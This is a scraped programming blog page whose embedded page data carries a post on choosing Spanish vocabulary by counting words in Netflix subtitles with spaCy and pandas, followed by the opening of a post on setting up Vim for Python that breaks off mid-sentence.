I'm currently teaching my wife to code and one of the problems that we
worked on to teach her some fundamental programming concepts was
re-implementing the caesar cipher in python. It was fun not only to code
but to also start sending each other "secret" messages!
The caesar cipher is a rather simple encoding, you just shift the
alphabet a certain amount of characters. For example, if yo...
A fun interview question some developers like to ask is to have you
convert ascii characters to an integer without using built in methods
like string.atoi or int().
So using python the obvious ways to convert a string to an integer are
these:
{"props":{"pageProps":{"id":["Interviews"],"allTagData":{"Python":{"count":7,"posts":[{"id":["2022","learning_spanish"],"path":"2022/learning_spanish","contentHtml":"\u003cp\u003eI have been living in Puerto Rico for 4 years but two of those have been COVID and so I have not been able to practice Spanish as much as I would like. So to speed up my learning I have decided I want to watch a lot of spanish speaking television to start training my ears, but to do this I need a baseline of words I understand to be able to even know what they are saying!\u003c/p\u003e\n\u003cp\u003eLearning through apps like Duolingo, Drops, etc start with weird topics like vegetables that do not get you to a very good baseline for actually understanding daily conversations, so I think consuming TV is a better use of my time.\u003c/p\u003e\n\u003ch2\u003eSubtitles\u003c/h2\u003e\n\u003cp\u003eI have decided the way to understand what the best words to study are is to download every subtitle for every episode of a show I want to watch and then count each word. The more a word is spoken the more important it is for me to know it since I will be hearing it a lot in the show.\u003c/p\u003e\n\u003cp\u003eI am going to download subtitles from Netflix. Subtitles in Netflix are in WebVTT format, which looks like this:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e248\n00:17:58.285 --\u003e 00:18:01.163 position:50.00%,middle align:middle size:80.00% line:79.33% \nYo de verdad espero que ustedes\nme vean como una amiga, ¿mmm?\n\n249\n00:18:01.247 --\u003e 00:18:02.539 position:50.00%,middle align:middle size:80.00% line:84.67% \nNo como una madrastra.\n\n250\n00:18:04.250 --\u003e 00:18:06.127 position:50.00%,middle align:middle size:80.00% line:84.67% \nYo nunca te vi como una madrastra.\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eIt gives you a start time, end time, and the text on the screen. So my first process was parsing this format and just turning it into a list of words using https://github.com/glut23/webvtt-py.\u003c/p\u003e\n\u003ch3\u003eDummy parsing\u003c/h3\u003e\n\u003cp\u003eWhat I basically did was \u003ccode\u003etext.split(\" \")\u003c/code\u003e and started counting the words. This approach was quick and painless but it had a few downsides. Some words \u003cem\u003elook\u003c/em\u003e the same when in reality they are not and so this meant I would have to study every meaning of a word even if it was more rare.\u003c/p\u003e\n\u003cp\u003eAn example of this is the word \"como\", you can say:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eHaz como te digo: \"Do as I say\", where como means \"as\"\u003c/li\u003e\n\u003cli\u003ecomo tacos todos los dias: \"I eat tacos every day\", where como is a conjugated form of the verb \"to eat\"\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eI need to know which version of a word is being used so I can count it properly.\u003c/p\u003e\n\u003ch3\u003eRegular Expressions are always the answer\u003c/h3\u003e\n\u003cp\u003eI could not figure out what the word was without it being in a complete sentence, but subtitles are fragments. They are split up into timings for displaying on the screen but they do not include entire sentences. For example, it might look like this:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e23\n00:01:21.960 --\u003e 00:01:23.520 position:50.00%,middle align:middle size:80.00% line:84.67% \nSolo las que luchan por ellos\n\n24\n00:01:23.680 --\u003e 00:01:25.680 position:50.00%,middle align:middle size:80.00% line:84.67% \nconsiguen sus sueños.\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eI want to detect the start of a sentence and the end of a sentence and then combine it, so that you end up with \"Solo las que luchan por ellos consiguen sus sueños.\". My first thought was a regular expression on punctuation. This worked well \u003cem\u003emost\u003c/em\u003e of the time but there were enough exceptions to the rule that it broke often and generated a lot of broken sentences:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAbbreviations like \"EE. UU\" for estados unidos (united states)\u003c/li\u003e\n\u003cli\u003eEllipsis\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSplitting on spaces also did not work for identifying the parts of speech since I needed the context around the word.\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/learning_spanish/regex-extraction.png\"\u003e\n\u003c/center\u003e\n\u003ch2\u003eNatural Language Processing\u003c/h2\u003e\n\u003cp\u003eSo to solve my pain I decided to grab https://spacy.io/ and do some NLP on the subtitles so that I could identify the proper parts of speech and get an accurate representation of the words I needed to learn.\u003c/p\u003e\n\u003cp\u003eThe way spaCy works is you can send it a sentence and it will return you a set of tokens:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e\u003e\u003e\u003e import spacy\n\u003e\u003e\u003e nlp = spacy.load(\"es_core_news_sm\")\n\u003e\u003e\u003e [x.pos_ for x in nlp(\"Hola, como estas?\")]\n['PROPN', 'PUNCT', 'SCONJ', 'PRON', 'PUNCT']\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eSo now I could identify the parts of speech and pull sentences together through end of sentence punctuation. The first thing I did was generate a CSV of sentences that looked like this:\u003c/p\u003e\n\u003ctable\u003e\n\u003ctbody\u003e\u003ctr\u003e\n\u003cth\u003esentence\u003c/th\u003e\n\u003cth\u003estart\u003c/th\u003e\n\u003cth\u003eend\u003c/th\u003e\n\u003cth\u003eshow\u003c/th\u003e\n\u003cth\u003efile\u003c/th\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eSi no, le voy a cortar todos los deditos\u003c/td\u003e\n\u003ctd\u003e00:00:20.605\u003c/td\u003e\n\u003ctd\u003e00:00:24.125\u003c/td\u003e\n\u003ctd\u003eEl marginal\u003c/td\u003e\n\u003ctd\u003eEl marginal S02E02 WEBRip Netflix es[cc].vtt\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\u003c/table\u003e\n\u003cp\u003eOnce I had a CSV of sentences I could send those back through spaCy for NLP and then start counting words, to generate another CSV:\u003c/p\u003e\n\u003ctable\u003e\n\u003ctbody\u003e\u003ctr\u003e\n\u003cth\u003eword\u003c/th\u003e\n\u003cth\u003epos\u003c/th\u003e\n\u003cth\u003eshow\u003c/th\u003e\n\u003cth\u003efile\u003c/th\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003ea\u003c/td\u003e\n\u003ctd\u003eADP\u003c/td\u003e\n\u003ctd\u003eEl marginal\u003c/td\u003e\n\u003ctd\u003eEl marginal S02E02 WEBRip Netflix es[cc].vtt\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003ecortar\u003c/td\u003e\n\u003ctd\u003eVERB\u003c/td\u003e\n\u003ctd\u003eEl marginal\u003c/td\u003e\n\u003ctd\u003eEl marginal S02E02 WEBRip Netflix es[cc].vtt\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003etodos\u003c/td\u003e\n\u003ctd\u003ePRON\u003c/td\u003e\n\u003ctd\u003eEl marginal\u003c/td\u003e\n\u003ctd\u003eEl marginal S02E02 WEBRip Netflix es[cc].vtt\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\u003c/table\u003e\n\u003cp\u003eFrom there I had all the data I needed! So now it was time to start doing some data analysis!\u003c/p\u003e\n\u003ch2\u003eData analysis\u003c/h2\u003e\n\u003cp\u003eUsing a jupyter notebook ( https://jupyter.org/ ) I grabbed pandas ( https://pandas.pydata.org/ ) and read in my CSVs to start analyzing the results.\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\npd.set_option('display.max_rows', 1000)\nwords = pd.read_csv('word_data.csv.gz', compression='gzip', delimiter=',')\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThe words dataframe is built up out of the second table I showed above with just words and their parts of speech. I started off grouping the dataset by the word so I could get a count for how many times it was spoken in every series I parsed:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003egrouped_result = (words.groupby(words.word).size() \n .sort_values(ascending=False) \n .reset_index(name='count')\n .drop_duplicates(subset='word'))\n\ngrouped_result.head(300)\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eWhich returned a list of words and their count:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e\tword\tcount\n0\tque\t94430\n1\tno\t75931\n2\ta\t70968\n3\tde\t67982\n4\tser\t64226\n5\tla\t52143\n6\ty\t44390\n7\testar\t37819\n8\tel\t35920\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eNow I wanted to identify where my diminishing returns would be. Is there a set of words that I must learn because they are spoken so often that I would not understand a conversation if they were not in my vocabulary?\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/learning_spanish/diminishing_returns.png\"\u003e\n\u003c/center\u003e\n\u003cp\u003eAs you can see in this chart, the usage for words drops off at around the ~200 mark. So there are basically 150 words I \u003cem\u003emust\u003c/em\u003e know and then the rest are equally important. I was not quite happy with this because some parts of speech are higher priority than others, for example I think having a strong understanding of the popular verbs will go a long way. So I also wanted to identify what are the most important verbs to learn:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003egrouped_verbs = (words[words.pos == 'VERB'].groupby(['word', 'pos']).size() \n .sort_values(ascending=False) \n .reset_index(name='count')\n .drop_duplicates(subset='word'))\n\ngrouped_verbs.head(50)\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eWhich got me this:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e\tword\tpos\tcount\n0\ttener\tVERB\t22072\n1\thacer\tVERB\t14946\n2\tir\tVERB\t12570\n3\tdecir\tVERB\t11314\n4\tquerer\tVERB\t11083\n5\tver\tVERB\t10269\n6\testar\tVERB\t9780\n7\tsaber\tVERB\t8704\n8\tser\tVERB\t7674\n9\tdar\tVERB\t5722\n10\tpasar\tVERB\t5528\n11\thablar\tVERB\t5355\n12\tvenir\tVERB\t5145\n13\tcreer\tVERB\t4895\n14\tsalir \tVERB\t3395\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eVerbs had a slightly different drop-off pattern when I targeted them directly:\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/learning_spanish/diminishing_verbs.png\"\u003e\n\u003c/center\u003e\n\u003cp\u003eI get a big bang for my buck by learning those top 40 verbs. Nouns on the other hand are much more spread out and most are evenly distributed:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eword\tpos\tcount\n0\tgracias\tNOUN\t4676\n1\tfavor\tNOUN\t4625\n2\tseñor\tNOUN\t4116\n3\tverdad\tNOUN\t3566\n4\tvida\tNOUN\t2673\n5\thombre\tNOUN\t2601\n6\tmadre\tNOUN\t2597\n7\tvez\tNOUN\t2537\n8\ttiempo\tNOUN\t2492\n9\thijo\tNOUN\t2215\n\u003c/code\u003e\u003c/pre\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/learning_spanish/diminishing_nouns.png\"\u003e\n\u003c/center\u003e\n\u003cp\u003eSo then I thought to myself... How much of a show would I understand if I just learned these most important words? So I started by excluding some of the easy parts of speech and focused on the most important:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003efind_important_words = (words[~words.pos.isin(['PRON', 'CONJ', 'ADP', 'ADV', 'SCONJ', 'AUX', 'INTJ'])].groupby(['word', 'pos']).size() \n .sort_values(ascending=False) \n .reset_index(name='count')\n .drop_duplicates(subset='word'))\n\nfind_important_words.head(50)\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThe top 20 were all verbs except for \u003ccode\u003ebueno\u003c/code\u003e and \u003ccode\u003egracias\u003c/code\u003e. So now with my list of what I considered \"important words\" I plotted it to find what amount of words I wanted to learn:\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/learning_spanish/important_words.png\"\u003e\n\u003c/center\u003e\n\u003cp\u003eIt looks like 200 learned words would give me a reasonable amount of understanding for a series, so I decided to calculate how much of a series I would understand if I learned just those first 200 words:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003epercentages = {}\n\nfor show_name in words['media'].drop_duplicates().values:\n words_in_show = (words[words.media == show_name].groupby(words.word).size() \n .sort_values(ascending=False) \n .reset_index(name='count')\n .drop_duplicates(subset='word'))\n \n total_words_handled = 0\n\n for word in grouped_result['word'][:200]:\n values = words_in_show[words_in_show.word == word]['count'].values\n\n if values.size \u003e 0:\n total_words_handled += values[0]\n\n percentages[show_name] = total_words_handled / words_in_show.sum().loc['count']\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eNow I had a table that would show me what percentage of the spoken words were covered by the first 200 words in my list:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003ep_df = pd.DataFrame(percentages.items(), columns=['show', 'percentage'])\np_df = p_df.sort_values(by='percentage')\np_df['percentage'] = p_df['percentage'] * 100\npd.options.display.float_format = '{:,.2f}%'.format\np_df\n\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003ctable\u003e\n\u003ctbody\u003e\u003ctr\u003e\n\u003cth\u003eShow\u003c/th\u003e\n\u003cth\u003ePercentage\u003c/th\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eVerónica\u003c/td\u003e\n\u003ctd\u003e64.24%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl ciudadano ilustre\u003c/td\u003e\n\u003ctd\u003e65.28%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl Chapo\u003c/td\u003e\n\u003ctd\u003e66.68%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eNeruda\u003c/td\u003e\n\u003ctd\u003e66.89%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLa casa de papel\u003c/td\u003e\n\u003ctd\u003e67.56%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl Ministerio del Tiempo\u003c/td\u003e\n\u003ctd\u003e68.03%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eClub de Cuervos\u003c/td\u003e\n\u003ctd\u003e68.19%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl marginal\u003c/td\u003e\n\u003ctd\u003e68.47%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eIngobernable\u003c/td\u003e\n\u003ctd\u003e68.59%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003ePablo Escobar\u003c/td\u003e\n\u003ctd\u003e70.20%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eFariña\u003c/td\u003e\n\u003ctd\u003e70.95\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLa Reina del Sur\u003c/td\u003e\n\u003ctd\u003e71.52%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eGran Hotel\u003c/td\u003e\n\u003ctd\u003e73.15%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLas chicas del cable\u003c/td\u003e\n\u003ctd\u003e73.58%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eÉlite\u003c/td\u003e\n\u003ctd\u003e73.78%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLa Piloto\u003c/td\u003e\n\u003ctd\u003e74.03%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl bar\u003c/td\u003e\n\u003ctd\u003e74.07%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLa casa de las flores\u003c/td\u003e\n\u003ctd\u003e75.40%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eTarde para la ira\u003c/td\u003e\n\u003ctd\u003e75.59%\u003c/td\u003e\n\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\n\u003cp\u003eBut living in Puerto Rico, one thing I have realized is speed of speech is also important. I have a much easier time speaking with people from Colombia and Mexico than I do with Puerto Ricans because they speak so much faster. So even though I could understand 75% of \"Tarde para la ira\" if I learned the 200 words, I want to make sure they are speaking at a pace I could understand as well.\u003c/p\u003e\n\u003cp\u003eSo I loaded up the other CSV file that was the full sentences and added a \"time per word\" column:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003esentences = pd.read_csv('sentences.csv.gz', compression='gzip', delimiter=',', parse_dates=['start', 'end'])\nsentences['total_time'] = (sentences['end'] - sentences['start']).dt.total_seconds()\nsentences['word_count'] = sentences['sentence'].str.split().str.len()\nsentences['time_per_word'] = sentences['total_time'] / sentences['word_count']\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThen I was able to have a speed rating for each show:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003esentence_group = sentences.groupby([sentences.media])\nsentence_group.time_per_word.mean().reset_index().sort_values('time_per_word')\n\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003ctable\u003e\n\u003ctbody\u003e\u003ctr\u003e\n\u003cth\u003emedia\u003c/th\u003e\n\u003cth\u003etime_per_word\u003c/th\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eGran Hotel\u003c/td\u003e\n\u003ctd\u003e0.58\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl Chapo\u003c/td\u003e\n\u003ctd\u003e0.59\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLas chicas del cable\u003c/td\u003e\n\u003ctd\u003e0.61\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eÉlite\u003c/td\u003e\n\u003ctd\u003e0.63\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eIngobernable\u003c/td\u003e\n\u003ctd\u003e0.64\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl Ministerio del Tiempo\u003c/td\u003e\n\u003ctd\u003e0.64\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eFariña\u003c/td\u003e\n\u003ctd\u003e0.65\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl ciudadano ilustre\u003c/td\u003e\n\u003ctd\u003e0.67\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eNeruda\u003c/td\u003e\n\u003ctd\u003e0.68\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLa Piloto\u003c/td\u003e\n\u003ctd\u003e0.69\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLa casa de papel\u003c/td\u003e\n\u003ctd\u003e0.70\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl bar\u003c/td\u003e\n\u003ctd\u003e0.70\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eVerónica\u003c/td\u003e\n\u003ctd\u003e0.72\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLa Reina del Sur\u003c/td\u003e\n\u003ctd\u003e0.75\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eClub de Cuervos\u003c/td\u003e\n\u003ctd\u003e0.76\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl marginal\u003c/td\u003e\n\u003ctd\u003e0.76\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003ePablo Escobar\u003c/td\u003e\n\u003ctd\u003e0.77\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eTarde para la ira\u003c/td\u003e\n\u003ctd\u003e0.77\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLa casa de las flores\u003c/td\u003e\n\u003ctd\u003e0.81\u003c/td\u003e\n\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\n\u003cp\u003eLuckily the two series that have the least amount of vocabulary also speak the slowest! So these will be the series I start with. The final question I wanted to answer is \"What are the top words I am missing for a series\". Since I will know 75% of the series from the top 200 words, I am hoping there are some top words from a specific series that I can also learn to get an even higher understanding.\u003c/p\u003e\n\u003cp\u003eFirst, find which words are in each show but not in the top 200:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003emissing_words_by_show = {}\n\nfor show_name in words['media'].drop_duplicates().values:\n words_in_show = (words[words.media == show_name].groupby(words.word).size() \n .sort_values(ascending=False) \n .reset_index(name='count')\n .drop_duplicates(subset='word'))\n \n frequency_words = grouped_result['word'][:200]\n\n missing_words = words_in_show[~words_in_show.word.isin(frequency_words.values)]\n missing_words_by_show[show_name] = missing_words\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThen we were able to grab them per show:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003emissing_words_by_show['La casa de las flores'].head(50)\n\nword\tcount\n31\tmamá\t252\n70\tflorería\t87\n98\tperdón\t56\n102\tsea\t54\n116\tademás\t44\n126\tahorita\t40\n132\tcárcel\t38\n133\tfiesta\t38\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eSo adding those few words to my vocabulary will also give me a better understanding of the series.\u003c/p\u003e\n\u003ch2\u003eConclusion\u003c/h2\u003e\n\u003cp\u003eI believe a data-driven approach to language learning will be an effective way to get me speaking better spanish. It was a ton of fun to play with spaCy, pandas, and jupyter as well!\u003c/p\u003e\n\u003cp\u003eI will improve the data analysis over time as well but I do believe this is a pretty good starting point!\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/learning_spanish/meme.png\"\u003e\n\u003c/center\u003e","category":"Development","date":"2022-04-30T00:00:00Z","tags":["Python","Pandas","NLP"],"title":"How to speak spanish like a colombian drug lord!"},{"id":["old","turning_vim_into_a_modern_python_ide"],"path":"old/turning_vim_into_a_modern_python_ide","contentHtml":"\u003cp\u003eTL;DR:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e$ git clone https://github.com/sontek/dotfiles.git\n$ cd dotfiles\n$ ./install.sh vim\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch1\u003eIntro\u003c/h1\u003e\n\u003cp\u003eBack in 2008, I wrote the article \u003ca href=\"http://sontek.net/python-with-a-modular-ide-vim\"\u003ePython with a modular IDE\n(Vim)\u003c/a\u003e. Years later, I\nhave people e-mailing me and commenting daily asking for more\ninformation, even though most of the information in it is outdated. Here\nis the modern way to work with Python and Vim to achieve the perfect\nenvironment.\u003c/p\u003e\n\u003cp\u003eBecause one of the most important parts about a development environment\nis the ability to easily reproduce across machines, we are going to\nstore our vim configuration in git:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e$ mkdir ~/.vim/\n$ mkdir ~/.vim/{autoload,bundle}\n$ cd ~/.vim/\n$ git init\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThe purpose of the autoload directory is to automatically load the vim\nplugin \u003ca href=\"https://github.com/tpope/vim-pathogen\"\u003ePathogen\u003c/a\u003e, which we'll\nthen use to load all other plugins that are located in the bundle\ndirectory. So download pathogen and put it in your autoload folder.\u003c/p\u003e\n\u003cp\u003eYou'll need to add the following to your ~/.vimrc so that pathogen\nwill be loaded properly. Filetype detection must be off when you run the\ncommands so its best to execute them first:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003efiletype off\ncall pathogen#runtime_append_all_bundles()\ncall pathogen#helptags()\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eNow lets add all of the vim plugins we plan on using as submodules to\nour git repository:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003egit submodule add http://github.com/tpope/vim-fugitive.git bundle/fugitive\ngit submodule add https://github.com/msanders/snipmate.vim.git bundle/snipmate\ngit submodule add https://github.com/tpope/vim-surround.git bundle/surround\ngit submodule add https://github.com/tpope/vim-git.git bundle/git\ngit submodule add https://github.com/ervandew/supertab.git bundle/supertab\ngit submodule add https://github.com/sontek/minibufexpl.vim.git bundle/minibufexpl\ngit submodule add https://github.com/wincent/Command-T.git bundle/command-t\ngit submodule add https://github.com/mitechie/pyflakes-pathogen.git\ngit submodule add https://github.com/mileszs/ack.vim.git bundle/ack\ngit submodule add https://github.com/sjl/gundo.vim.git bundle/gundo\ngit submodule add https://github.com/fs111/pydoc.vim.git bundle/pydoc\ngit submodule add https://github.com/vim-scripts/pep8.git bundle/pep8\ngit submodule add https://github.com/alfredodeza/pytest.vim.git bundle/py.test\ngit submodule add https://github.com/reinh/vim-makegreen bundle/makegreen\ngit submodule add https://github.com/vim-scripts/TaskList.vim.git bundle/tasklist\ngit submodule add https://github.com/vim-scripts/The-NERD-tree.git bundle/nerdtree\ngit submodule add https://github.com/sontek/rope-vim.git bundle/ropevim\ngit submodule init\ngit submodule update\ngit submodule foreach git submodule init\ngit submodule foreach git submodule update\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThats it! Now that we've got our vim configuration in git!\u003c/p\u003e\n\u003cp\u003eNow lets look at how to use each of these plugins to improve the power\nof vim:\u003c/p\u003e\n\u003ch1\u003eBasic Editing and Debugging\u003c/h1\u003e\n\u003ch2\u003eCode Folding\u003c/h2\u003e\n\u003cp\u003eLets first enable code folding. This makes it a lot easier to organize\nyour code and hide portions that you aren't interested in working on.\nThis is quite easy for Python, since whitespace is required.\u003c/p\u003e\n\u003cp\u003eIn your ~/.vimrc just add:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eset foldmethod=indent\nset foldlevel=99\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThen you will be able to be inside a method and type 'za' to open and\nclose a fold.\u003c/p\u003e\n\u003ch2\u003eWindow Splits\u003c/h2\u003e\n\u003cp\u003eSometimes code folding isn't enough; you may need to start opening up\nmultiple windows and working on multiple files at once or different\nlocations within the same file. To do this in vim, you can use these\nshortcuts:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eVertical Split : Ctrl+w + v\nHorizontal Split: Ctrl+w + s\nClose current windows: Ctrl+w + q\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eI also like to bind Ctrl+\u0026#x3C;movement\u003e keys to move around the windows,\ninstead of using Ctrl+w + \u0026#x3C;movement\u003e:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003emap \u0026#x3C;c-j\u003e \u0026#x3C;c-w\u003ej\nmap \u0026#x3C;c-k\u003e \u0026#x3C;c-w\u003ek\nmap \u0026#x3C;c-l\u003e \u0026#x3C;c-w\u003el\nmap \u0026#x3C;c-h\u003e \u0026#x3C;c-w\u003eh\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003cimg src=\"http://i.imgur.com/krj0l.png\" alt=\"image\"\u003e\u003c/p\u003e\n\u003ch2\u003eSnippets\u003c/h2\u003e\n\u003cp\u003eThe next tweak that really speeds up development is using snipmate.\nWe've already included it in our bundle/ folder so its already enabled.\nTry opening up a python file and typing 'def\u0026#x3C;tab\u003e'. It should stub\nout a method definition for you and allow you to tab through and fill\nout the arguments, doc string, etc.\u003c/p\u003e\n\u003cp\u003eI also like to create my own snippets folder to put in some custom\nsnippets:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e$ mkdir ~/.vim/snippets\n$ vim ~/.vim/snippets/python.snippets\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003ePut this in the file:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003esnippet pdb\n import pdb; pdb.set_trace()\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eNow you can type pdb\u0026#x3C;tab\u003e and it'll insert your breakpoint!\u003c/p\u003e\n\u003ch2\u003eTask lists\u003c/h2\u003e\n\u003cp\u003eAnother really useful thing is to mark some of your code as TODO or\nFIXME! I know we all like to think we write perfect code, but sometimes\nyou just have to settle and leave a note for yourself to come back\nlater. One of the plugins we included was the tasklist plugin that will\nallow us to search all open buffers for things to fix. Just add a\nmapping to open it in ~/.vimrc:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003emap \u0026#x3C;leader\u003etd \u0026#x3C;Plug\u003eTaskList\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eNow you can hit \u0026#x3C;leader\u003etd to open your task list and hit 'q' to\nclose it. You can also hit enter on the task to jump to the buffer and\nline that it is placed on.\u003c/p\u003e\n\u003ch2\u003eRevision History\u003c/h2\u003e\n\u003cp\u003eThe final basic editing tweak I suggest everyone start utilizing is the\nGundo plugin. It'll allow you to view diff's of every save on a file\nyou've made and allow you to quickly revert back and forth:\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"http://i.imgur.com/2NrPS.png\" alt=\"image\"\u003e\u003c/p\u003e\n\u003cp\u003eJust bind a key in your .vimrc to toggle the Gundo window:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003emap \u0026#x3C;leader\u003eg :GundoToggle\u0026#x3C;CR\u003e\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch1\u003eSyntax Highlighting and Validation\u003c/h1\u003e\n\u003cp\u003eSimply enable syntax highlighting in your ~/.vimrc:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003esyntax on \" syntax highlighing\nfiletype on \" try to detect filetypes\nfiletype plugin indent on \" enable loading indent file for filetype\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eBecause we enabled pyflakes when we added it as a submodule 